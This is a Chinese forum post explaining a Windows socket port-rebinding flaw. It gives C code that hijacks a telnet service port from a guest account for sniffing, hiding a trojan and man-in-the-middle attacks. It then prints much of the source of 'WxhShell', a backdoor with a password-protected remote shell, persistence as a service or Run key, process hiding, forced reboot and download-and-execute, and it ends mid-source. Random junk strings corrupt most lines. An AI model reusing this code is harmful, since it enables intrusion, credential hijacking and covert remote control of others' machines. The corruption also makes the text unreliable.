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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `M?C(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OMG.64DX .  
}}Ah-QU  
  saddr.sin_family = AF_INET; ^/`:o}7K7  
Qd"{2>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #W`>vd}  
m)4s4P57y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \z!*)v/{-  
l/[0N@r~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Gs$<r~Tg  
Y~]E6'Bz  
  这意味着什么?意味着可以进行如下的攻击: "(j.:jayd  
\ F=w~ $)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AkdONKO8{  
[G:wPp.y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %.,-dV'  
s hjb b  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w^tNYN,i  
}8cL+JJU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |0YDCMq(  
\(Z'@5vC  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A,-UW+:  
s>d@=P>R  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [FLRrTcE  
[?u iM^&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 td-2[Sy  
\/,54c2  
  #include +r[u4?  
  #include aRg/oA4}  
  #include 4$9WJ ~V{  
  #include    b['Jr% "O  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B$A`-  
  int main() [*zB vj}G  
  { ;taTdzR_  
  WORD wVersionRequested; vfAR^*7e  
  DWORD ret; HNN,1MN  
  WSADATA wsaData; nxH=Ut7{  
  BOOL val; |@KW~YlE  
  SOCKADDR_IN saddr; WP-?C<Iw  
  SOCKADDR_IN scaddr; :-HVK^$%  
  int err; 6QVdnXoG/  
  SOCKET s; PR?Ls{}p\  
  SOCKET sc; ~oO>6  
  int caddsize; |x*~PXb  
  HANDLE mt; 9%aBW7@SK  
  DWORD tid;   E5"%-fAJ  
  wVersionRequested = MAKEWORD( 2, 2 ); } MBxfZ4I  
  err = WSAStartup( wVersionRequested, &wsaData ); g[<K FVlG  
  if ( err != 0 ) { LwIl2u*  
  printf("error!WSAStartup failed!\n"); }$5S@,  
  return -1; y]$%>N0vLX  
  } T+p ?VngF  
  saddr.sin_family = AF_INET; d*80eB9P  
   @]yd Wd  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jyRSe^x  
p^PAbCP'|3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E0QrByr_  
  saddr.sin_port = htons(23); 5P~{*of  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =\ ]5C  
  { :tclYX  
  printf("error!socket failed!\n"); KEF"`VTB@  
  return -1; m'D_zb9+  
  } C}grY5 :  
  val = TRUE; RGd@3OjN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Wt=QCutt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %5<uQc9  
  { .OI&Zm-  
  printf("error!setsockopt failed!\n"); n/$1&x1  
  return -1; G&qO{" Js  
  } tQz=_;jy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 1b*Me'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x'dU[f(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ' lt5|  
i*-[-hn-V  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :E ]Ys  
  { o@SL0H-6|  
  ret=GetLastError(); UQZ<sp4v;  
  printf("error!bind failed!\n"); @Z9X^Y+u^h  
  return -1; (bpO>4(S  
  } G i 1Jl"  
  listen(s,2); OU2.d7  
  while(1) 5]_m\zn=  
  { ?\|QDJXY  
  caddsize = sizeof(scaddr); KVQ^-^  
  //接受连接请求  6/u]r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OP:i;%@c  
  if(sc!=INVALID_SOCKET) 1%Yd] 1c(  
  { U$zd3a_(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); er<yB#/;-  
  if(mt==NULL) Y#aL]LxZE  
  { Tp vq5Cz  
  printf("Thread Creat Failed!\n"); <%d/"XNg[D  
  break; *`D}voU  
  } MR")  
  } ^qB a~  
  CloseHandle(mt); XPJsnu  
  } Ep>} S  
  closesocket(s); =|}_ASbzw  
  WSACleanup(); rV6&:\  
  return 0; 80(Olf@PE  
  }   c5 ^CWk K  
  DWORD WINAPI ClientThread(LPVOID lpParam) HL8onNq  
  { 3C[#_&_l  
  SOCKET ss = (SOCKET)lpParam; tVI6GXH  
  SOCKET sc; YK xkO  
  unsigned char buf[4096]; @k+&89@G  
  SOCKADDR_IN saddr; Jcy{ ~>@7  
  long num; zWs ("L(#s  
  DWORD val; H$D),s gv  
  DWORD ret; 3?%?J^/a  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B3AWJ1o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '{>R-}o[3  
  saddr.sin_family = AF_INET; 3@}rO~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (5rfeSA^  
  saddr.sin_port = htons(23); *'i9  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  =1MVF  
  { RIm8PV;N  
  printf("error!socket failed!\n"); }}?,({T|n  
  return -1; G'#f*) f  
  } b((> ?=hh  
  val = 100; 5%r:hO @S  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q9G\T:^ury  
  { If>bE!_BO  
  ret = GetLastError(); yg@8&;bP`  
  return -1; M)qb6aD0  
  } j^1Yz}6nR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'w$jVX/  
  { !VDNqW  
  ret = GetLastError(); I4"(4u@P  
  return -1; k_?Z6RE>  
  } 7g7[a/Bts  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z7X,5[P  
  { 6*&$ha}X  
  printf("error!socket connect failed!\n"); Q8H+=L:  
  closesocket(sc); ''Y'ZsQ;  
  closesocket(ss); \{EYkk0]  
  return -1; 9)?_[|2  
  } pN4gHi=  
  while(1) x DiGN Jc  
  { XN&cM,   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jct|}U  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |[_%zV;p>v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dW5@Z-9  
  num = recv(ss,buf,4096,0); Fks #Y1rI  
  if(num>0) 1/ 3<u::  
  send(sc,buf,num,0); >bFrJz}  
  else if(num==0) jwL\|B oE  
  break; A\w"!tNM|  
  num = recv(sc,buf,4096,0); ^)p+)5l   
  if(num>0) 5 W!#,jz  
  send(ss,buf,num,0); z -c1,GOD  
  else if(num==0) iLt2L;v>h  
  break; X> T_Xc  
  } m:D0O]2  
  closesocket(ss); 3;JF 5e\?x  
  closesocket(sc); {)n@Rq\=v  
  return 0 ; (M2hK[  
  } LzQOzl@z  
%-KgR  
z2lT4SAv+  
========================================================== 9|WV28PK:  
@} +k]c25  
下边附上一个代码,,WXhSHELL nly}ly Q/  
1>/ iYf  
========================================================== ;<*USS6X  
(! 8y~n 1  
#include "stdafx.h" M?=I{}!@Q  
JIjo^zOXsc  
#include <stdio.h> ll[&O4.F  
#include <string.h> mfF `K2R  
#include <windows.h> ^O =G%de  
#include <winsock2.h> %iME[| u&  
#include <winsvc.h> 7<=p*  
#include <urlmon.h> L7nG5i  
7KGb2V<t  
#pragma comment (lib, "Ws2_32.lib") db=S*LUbl  
#pragma comment (lib, "urlmon.lib") [$ uKI,l  
<o[3*59  
#define MAX_USER   100 // 最大客户端连接数 Kv:Rvo  
#define BUF_SOCK   200 // sock buffer x4MTE?hT  
#define KEY_BUFF   255 // 输入 buffer H+5+;`;  
{; th~[  
#define REBOOT     0   // 重启 ,`OQAJ)>  
#define SHUTDOWN   1   // 关机 \rATmjsKzS  
lWd@  
#define DEF_PORT   5000 // 监听端口 x%O6/rl  
\YFM5l;IU  
#define REG_LEN     16   // 注册表键长度 DajN1}]  
#define SVC_LEN     80   // NT服务名长度 /2hRL yeAZ  
ZR-64G=L,  
// 从dll定义API FV3[7w=D\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %C@p4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >]%$lSCW\D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); G,c2?^#n  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s? Xgo&rS_  
=9`UcTSi6p  
// wxhshell配置信息 V1GkX =H},  
struct WSCFG { ?Bl/bY$*h  
  int ws_port;         // 监听端口 pq\N 2d  
  char ws_passstr[REG_LEN]; // 口令 9:GP~oI j  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mu-kvgO`L  
  char ws_regname[REG_LEN]; // 注册表键名 fL d2{jI,  
  char ws_svcname[REG_LEN]; // 服务名 I.(@#v7T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GD'Z"rhI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c53:E'g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x,cvAbwS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1X`,7B@pz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Pte}pM"v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 j_~mP>el)  
Cz$q"U  
}; &['x+vL9  
S0gxVd(  
// default Wxhshell configuration ~(yW#'G  
struct WSCFG wscfg={DEF_PORT, u<N`;s  
    "xuhuanlingzhe", E/wxX#]\  
    1, Iu~<Y(8^q#  
    "Wxhshell", ?Yf v^DQ5  
    "Wxhshell", .pdcwd9  
            "WxhShell Service", ~tV7yY|zr  
    "Wrsky Windows CmdShell Service", @V:Y%#%  
    "Please Input Your Password: ", GA/afc,V  
  1, a j$& 9][  
  "http://www.wrsky.com/wxhshell.exe", >SL mlK  
  "Wxhshell.exe" q86}'dFw{  
    }; W[a"&,okqO  
YTmHht{j#  
// 消息定义模块 pwS"BTZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; HC1<zW[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,b IJW]h0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <|?)^;R5!  
char *msg_ws_ext="\n\rExit."; x4g/ok  
char *msg_ws_end="\n\rQuit."; ^);M}~  
char *msg_ws_boot="\n\rReboot..."; V=th-o3[  
char *msg_ws_poff="\n\rShutdown..."; n-],!pL^  
char *msg_ws_down="\n\rSave to "; {:VK}w  
Yb_HvP  
char *msg_ws_err="\n\rErr!";  :TR:tf  
char *msg_ws_ok="\n\rOK!"; /\uopa  
={ -kQq  
char ExeFile[MAX_PATH]; jb,a>9 ]p  
int nUser = 0; XksI.]tfj  
HANDLE handles[MAX_USER]; .-mIU.Nwi  
int OsIsNt; Im!b-1  
b]Kb ~y|  
SERVICE_STATUS       serviceStatus; "\`Fu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; eyp_.1C~  
Lk@+iHf  
// 函数声明 m ie~. "  
int Install(void); VS ;y  
int Uninstall(void); im9EV|;  
int DownloadFile(char *sURL, SOCKET wsh); K@xMPB8in  
int Boot(int flag); 9&Un|cr  
void HideProc(void); b?Uk%Z]+v  
int GetOsVer(void); Q&w_kz.  
int Wxhshell(SOCKET wsl); y7CO%SA  
void TalkWithClient(void *cs); L kl E,W  
int CmdShell(SOCKET sock); 77sG;8HE  
int StartFromService(void); Y3FFi M[s~  
int StartWxhshell(LPSTR lpCmdLine); OPE+:TvW^  
K@%T5M4j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kdlmj[=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 2-N7%]h  
<YEKbnw$o  
// 数据结构和表定义 :AFU5mR4&  
SERVICE_TABLE_ENTRY DispatchTable[] = s_RK x)w@  
{ GHn0(o&K  
{wscfg.ws_svcname, NTServiceMain}, 4g2`[<S  
{NULL, NULL} D_$N2>I-  
}; lxgfi@@+h  
Qjnh;uBO  
// 自我安装 B hx.q,X  
int Install(void) `$FX%p  
{ (jhi<eV  
  char svExeFile[MAX_PATH]; K0C"s 'q  
  HKEY key; WbhYGcRy  
  strcpy(svExeFile,ExeFile); T+EwC)Ll  
.o]I^3tf c  
// 如果是win9x系统,修改注册表设为自启动 Vj1V;dHv  
if(!OsIsNt) { /F"eqMN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J(!=Dno  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .57F h)Y  
  RegCloseKey(key); _K{- 1ZYsi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zh=0zJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \>wQyz  
  RegCloseKey(key); _=`DzudE  
  return 0; Uf7ACv)Dn  
    } NvTK7? v  
  } z^T;d^OJc  
} RFFbS{U*  
else { jVOq/o  
X 5}=|%Y  
// 如果是NT以上系统,安装为系统服务 aJjUy%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {g`!2"  
if (schSCManager!=0) -:'%YHxX  
{ H<q|je}e  
  SC_HANDLE schService = CreateService |@1(^GX  
  ( <*^|Aj|#  
  schSCManager, UY({[?Se  
  wscfg.ws_svcname, "x$L 2>9  
  wscfg.ws_svcdisp, Wtk|}>Pf  
  SERVICE_ALL_ACCESS, L;vglS=l;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [4YRyx&:++  
  SERVICE_AUTO_START, `W_&^>yl  
  SERVICE_ERROR_NORMAL, U&Atgv  
  svExeFile, }S')!3[G  
  NULL, >FHx],  
  NULL, :6)!#q'g  
  NULL, Q<MxbHk9  
  NULL, hJ[keaO  
  NULL qB K68B)  
  ); ZrNH:Z:5  
  if (schService!=0) gp 11/ .  
  { VSCKWYy  
  CloseServiceHandle(schService); |E$q S)y  
  CloseServiceHandle(schSCManager); L8'4d'N+ >  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JgP%4)]LV  
  strcat(svExeFile,wscfg.ws_svcname); Gl3g.`X{$@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?z-nY,'^uq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sh`3${  
  RegCloseKey(key); |?^N@  
  return 0; ,\3Cq2h  
    } s?1Aj<  
  } l?m 3 *  
  CloseServiceHandle(schSCManager); jpR]V86G  
} 'x? |tKzd  
} 4, Vx3QFZ  
+jq@!P"}d  
return 1; 7.2!g}E  
} vmOye/?k  
=u0a/2u|  
// 自我卸载 O tQ]\:p7  
int Uninstall(void) 5S&Qj7kr  
{ n[y^S3}%;  
  HKEY key; 7TypzgXNe  
fMW=ss^fu-  
if(!OsIsNt) { vfhoN]v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1g,gilc  
  RegDeleteValue(key,wscfg.ws_regname); g}hNsU=$5~  
  RegCloseKey(key); S7cD}yx*[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `O.pT{Lf  
  RegDeleteValue(key,wscfg.ws_regname); 17;9>*O'  
  RegCloseKey(key); 'aD"v>  
  return 0; 4 8 J{Y3F  
  } :U'n0\  
} 9<P%?Q  
} GuL0:,  
else { GvA4.s,  
 myOW^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \ E5kpm  
if (schSCManager!=0) 5OO XCtIKf  
{ Tb:'M:dM"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k@n L(2  
  if (schService!=0) 4-'0# a  
  { :l Z\=2D  
  if(DeleteService(schService)!=0) { v!<FeLW  
  CloseServiceHandle(schService); @ZV>Cl@%2  
  CloseServiceHandle(schSCManager); xZV|QVY;  
  return 0; h.- o$+Sa  
  } }PDtx:T-  
  CloseServiceHandle(schService); KiC,O7&<  
  } 7VkjnG^!:  
  CloseServiceHandle(schSCManager); n36@&q+B&  
} 33hP/p%  
} ~:_10g]r  
#q&N d2y  
return 1; [fkt3fS  
}  _qt  
Xo.3OER  
// 从指定url下载文件 m,w^,)  
int DownloadFile(char *sURL, SOCKET wsh) =PjdL3 2  
{ !|ic{1!_  
  HRESULT hr; %/s+-j@s:  
char seps[]= "/";  @_WZZ  
char *token; 6Ol)SQE,  
char *file; C'sA0O@O  
char myURL[MAX_PATH]; #xhl@=W;  
char myFILE[MAX_PATH]; w>RwEU+w=@  
"oR%0pU*  
strcpy(myURL,sURL); 4Xv."L  
  token=strtok(myURL,seps); [e:ccm  
  while(token!=NULL) ?#ywUEY* i  
  { kCoEdQ_  
    file=token; *;T HD>  
  token=strtok(NULL,seps); }72+i  
  } $KGRpI  
N{!@M_C^%R  
GetCurrentDirectory(MAX_PATH,myFILE); 6?0QzSpfC#  
strcat(myFILE, "\\"); np7!y U  
strcat(myFILE, file); U\YzE.G1]S  
  send(wsh,myFILE,strlen(myFILE),0); = o1&.v2j  
send(wsh,"...",3,0); D r6u0rx8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *  }ZKQ  
  if(hr==S_OK) Thp!X/2O`  
return 0; _ukBp*u  
else M>jk"*hA|  
return 1; %b ^.Gw\L  
"j}fcrlG9  
} [;7$ 'lr%D  
95tHi re  
// 系统电源模块 &=-{adm  
int Boot(int flag) QUc&f+~  
{ ~\7peH%  
  HANDLE hToken; gBXbB9  
  TOKEN_PRIVILEGES tkp; uup>WW  
=G1 5 eZW  
  if(OsIsNt) { 82=>I*0Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cbX  <  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T`Qg+Q$  
    tkp.PrivilegeCount = 1; QPz3IK%   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m'L8z fX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fq[,9lK  
if(flag==REBOOT) { 3Ett9fBd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (d=knoo7A  
  return 0; 53?B.\  
} DI:"+KMq{  
else { 4jz2x #T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @-jI<g  
  return 0; ,Je9]XT  
} vA@\V)s  
  } 0tah$;c e  
  else { ?h|w7/9  
if(flag==REBOOT) { /Os;,g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :g"U G0];  
  return 0; ZS?4<lXF  
} 7V7iIbi  
else { aQ.mvuMa7'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3Qoa ?*  
  return 0; >=3ay^(Y2D  
} dIRSgJ`  
} +Zo&c}  
"_36WX  
return 1; c=\H&x3X  
} '?v-o)X  
|H@1g=q  
// win9x进程隐藏模块 ?Y#x`DMh  
void HideProc(void) V|zatMHs  
{  Cdbh7  
'hH3d"a^=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); i slg5  
  if ( hKernel != NULL ) v`KYhqTUl  
  { Nh/B8:035  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #[aHKq:?b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;bxL$1  
    FreeLibrary(hKernel); k_%"#  
  } |dQ-l !  
9 54O=9PQ  
return; B&k"B?9mL  
} BD (  
o+T %n1$+V  
// 获取操作系统版本 zd+<1R;  
int GetOsVer(void) *#2]`G)  
{ lZ` CFZR0  
  OSVERSIONINFO winfo; jV!9IK;HA.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 57eA (uI  
  GetVersionEx(&winfo); 'WLh D<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2wki21oY  
  return 1; \gjY h2>  
  else vfZ.js/  
  return 0; xsIuPL#_  
} 1'{A,!  
op]HF4  
// 客户端句柄模块 9 EqU 2~  
int Wxhshell(SOCKET wsl) 0qU Bt9rA  
{ */JMPw&  
  SOCKET wsh; b _#r_`  
  struct sockaddr_in client; bx&?EUx+b  
  DWORD myID; gnPu{-Ec*  
)k}UjU`!  
  while(nUser<MAX_USER) I"<ACM  
{ D[ -Gzqh  
  int nSize=sizeof(client); & NO:S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3Bk_4n  
  if(wsh==INVALID_SOCKET) return 1; ui\yY3?  
Y={_o!9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fxKhe[;  
if(handles[nUser]==0) L)`SNN\ipR  
  closesocket(wsh); FnFJw;:,{  
else 1:+f@#  
  nUser++;  aX'R&R  
  } !C$bOhc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1D/9lR,  
wgb e7-{  
  return 0; !leLOi2T  
} PfRe)JuB  
gLyE,1Z}u  
// 关闭 socket 7;T6hKWV[  
void CloseIt(SOCKET wsh) S?k G|y  
{ V"T48~Ue  
closesocket(wsh); iVg3=R)[1  
nUser--; _RHB ^y;-  
ExitThread(0); ?'dsiA[  
} '8$*gIQ8  
0+]ol:i  
// 客户端请求句柄 [Pnk@jIk4  
void TalkWithClient(void *cs) -t:~d:  
{ ~x:B@Ow  
~$O.KF:  
  SOCKET wsh=(SOCKET)cs; A+:X  
  char pwd[SVC_LEN]; (rM-~h6g  
  char cmd[KEY_BUFF]; M+akD  
char chr[1]; =/J{>S>(i  
int i,j; ,o3{?o]s  
0"*!0s ~  
  while (nUser < MAX_USER) { {O4y Y=G  
?Z ]5 [  
if(wscfg.ws_passstr) { W.fsW<{4j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tocZO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + ~6Nq(kV  
  //ZeroMemory(pwd,KEY_BUFF); <u 'q._m  
      i=0; V@QWJZ"  
  while(i<SVC_LEN) { zuq7 x7  
@w H+,]xE  
  // 设置超时 %SHjJCS3  
  fd_set FdRead; VOj{&O2c  
  struct timeval TimeOut; ?G48GxJ  
  FD_ZERO(&FdRead); u0)~Im,X  
  FD_SET(wsh,&FdRead); `pHlGbrW  
  TimeOut.tv_sec=8; &K1\"  
  TimeOut.tv_usec=0; QL<uQ`>(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ? x*Ve2+]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :2qUel\PEC  
HH\6gs]u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Guc~] B  
  pwd=chr[0]; ) N8 [@  
  if(chr[0]==0xd || chr[0]==0xa) { LV^V`m0#  
  pwd=0; 'g4t !__  
  break; 2W}f|\8MX  
  } :|GC~JElo5  
  i++; {Q&@vbw'  
    } TTJFF\$?  
X"S-f; b#  
  // 如果是非法用户,关闭 socket [ _jd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _;;'/rs j  
} u9t@%H)lZ  
<`B4+:;w6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 44uM:;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lHV&8fny  
O3?3XB> <  
while(1) { b"au9:F4@7  
^[7ZBmS  
  ZeroMemory(cmd,KEY_BUFF); 1@ e22\  
muAI$IRR   
      // 自动支持客户端 telnet标准   0I8w'/s_g9  
  j=0; jLANv{"  
  while(j<KEY_BUFF) { OZ/P@`kN.f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3$.R=MQ7  
  cmd[j]=chr[0]; x >u \  
  if(chr[0]==0xa || chr[0]==0xd) { x6, #Jp  
  cmd[j]=0; '8au j  
  break; O#}'QZd'  
  } (XQBBt  
  j++; CaSoR |  
    } x1gfo!BN  
yFIB/ln:  
  // 下载文件 Fq]ht*  
  if(strstr(cmd,"http://")) { u afSz@`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FC'v= *  
  if(DownloadFile(cmd,wsh)) L(p{>Ykcc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >i`V-"x  
  else 6#,VnS)`q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #cN0ciCT'  
  } mfYY?]A*+  
  else { >)/,5VSE  
0 i76(2  
    switch(cmd[0]) { j}0W|*  
  IZ<d~ [y  
  // 帮助 *, /ADtL  
  case '?': { fM[Qn*.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aoLYw 9  
    break; (*.t~6c?5  
  } ZT UaF4k j  
  // 安装 j@JhxCe1+R  
  case 'i': { ]Iku(<*Ya  
    if(Install()) a3&&7n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]et4B+=i  
    else <<43 'N+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4LO U[D  
    break; dQ4VpR9|;  
    } D1&%N{  
  // 卸载 *O>OHX  
  case 'r': { .hYrE5\-  
    if(Uninstall()) < a g|#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2>l =oXq  
    else 'baew8Q#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ub C(%Y_k  
    break; {-(}p+;z  
    } %/l9$>{  
  // 显示 wxhshell 所在路径 7j9:s>D  
  case 'p': { 8.-0_C*U;  
    char svExeFile[MAX_PATH]; 'cs!(z-{x  
    strcpy(svExeFile,"\n\r"); 4!'1o`8vs  
      strcat(svExeFile,ExeFile); mv7><C  
        send(wsh,svExeFile,strlen(svExeFile),0); D& Xh|}2A  
    break; %SKp<>;9  
    } w2-:!,X  
  // 重启 tx$kD2  
  case 'b': { tb^8jC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gWt}q-@nRR  
    if(Boot(REBOOT)) r(ej=aR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /az}<r8  
    else { up[9L|  
    closesocket(wsh); ?2hS<qXX  
    ExitThread(0); p2]@yE7w  
    } _ZM$&6EC  
    break; "7v/ -   
    } ?F{sym@i  
  // 关机 'H"wu /#  
